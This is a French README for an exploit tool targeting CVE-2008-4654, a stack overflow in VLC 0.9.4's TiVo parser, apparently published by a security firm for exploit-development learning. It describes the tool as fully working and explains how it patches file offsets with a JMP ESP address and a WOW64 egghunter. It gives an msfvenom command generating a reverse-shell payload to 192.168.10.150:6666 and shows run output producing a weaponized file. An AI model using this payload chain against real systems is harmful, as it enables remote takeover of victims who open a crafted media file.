CVE-2008-4654

Un exploit complètement fonctionnel pour la vulnérabilité de débordement de tampon basé sur la pile CVE-2008-4654 dans VLC Media Player 0.9.4 de VideoLan lors du traitement de fichiers TiVo. Il cible un binaire 32 bits exécuté sur un système Windows 64 bits et utilise un egghunter WOW64 pour contourner l'espace de pile limité.

Utilisation

Mettre à jour le script :

• Remplacez l'espace réservé buf = b'[...]' dans le script par votre propre shellcode (par exemple, depuis msfvenom).
• Optionnellement, ajustez le shellcode EGG_HUNTER_WOW64 si vous souhaitez un tag différent ou disposez d'un egghunter personnalisé.

python .\CVE-2008-4654.py --help

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

usage: CVE-2008-4654.py [-h] --input INPUT --output OUTPUT

Transform a given TiVo file into a weapon with predefined shellcode.

options:
  -h, --help       show this help message and exit
  --input INPUT    Path to the input TiVo file to be weaponized.
  --output OUTPUT  Path where the modified (weaponized) TiVo file will be saved.

Fonctionnement

• Le script recherche un motif d'octets spécifique (TIVO_PES_FILEID) dans le fichier TiVo.
• Il écrase un champ de 4 octets (20 octets après le motif) avec b"\x00\x00\x00\xff", ce qui configure la lecture hors limites menant à un débordement de pile.
• Il remplace ensuite une autre région (92 octets après TIVO_PES_FILEID) par une charge utile personnalisée.
• La charge utile comprend :
  • Une adresse JMP ESP qui dirige l'exécution vers la pile.
  • Un egghunter spécifique à WOW64 qui analyse la mémoire à la recherche du marqueur w00tw00t.
  • Une charge utile de shellcode volumineuse définie par l'utilisateur (deuxième étage) placée après le marqueur, au-delà de l'espace de pile limité.
• Lorsque VLC traite le fichier TiVo modifié, il déclenche éventuellement le débordement et exécute l'egghunter. L'egghunter trouve le shellcode complet et l'exécute, contournant les limitations de taille de pile.

Exemple

Génération de la charge utile

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.10.150 LPORT=6666 -a x86 -f python -b '\x00'

Création du fichier TiVo

• Remplacez l'espace réservé buf = b'[...]' par le shellcode précédemment créé.
• Téléchargez un exemple de fichier TiVo depuis https://samples.mplayerhq.hu/TiVo/.

PS C:\ > python .\CVE-2008-4654.py --input .\test.ty --output .\hazard.ty

CVE-2008-4654 - VLC v0.9.4 Tivo Stack Buffer Overflow - by Maurice Fielenbach (grimlockx) - Hexastrike Cybersecurity UG (haftungsbeschränkt)

[+] Found TIVO_PES_FILEID at offset 0x300000.
[+] Replaced 4 bytes at offset 0x300014 with 0x000000ff.
[+] Replaced 685 bytes at offset 0x30005c.
[+] Successfully weaponized: .\hazard.ty

Remarques

• L'exploit ne fonctionne que sur Windows x64 en raison de l'egghunter WOW64. Une approche purement x86 nécessiterait un egghunter standard adapté aux systèmes 32 bits.
• Il n'y a pas de mauvais caractères majeurs en dehors de \x00 pour ce vecteur spécifique, ce qui simplifie la génération de la charge utile.
• Pour un examen plus approfondi de l'egghunting et des subtilités WOW64, consultez l'article de Corelan sur l'egghunter WOW64 et le papier de Matt (Skape) Miller.

Ressources

• https://nostarch.com/bughunter
• https://nvd.nist.gov/vuln/detail/CVE-2008-4654
• https://hexastrike.com/resources/blog/exploit-development/vlc-stack-based-buffer-overflow-exploiting-cve-2008-4654-with-a-wow64-egghunter/
• https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/
• https://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
• https://samples.mplayerhq.hu/TiVo/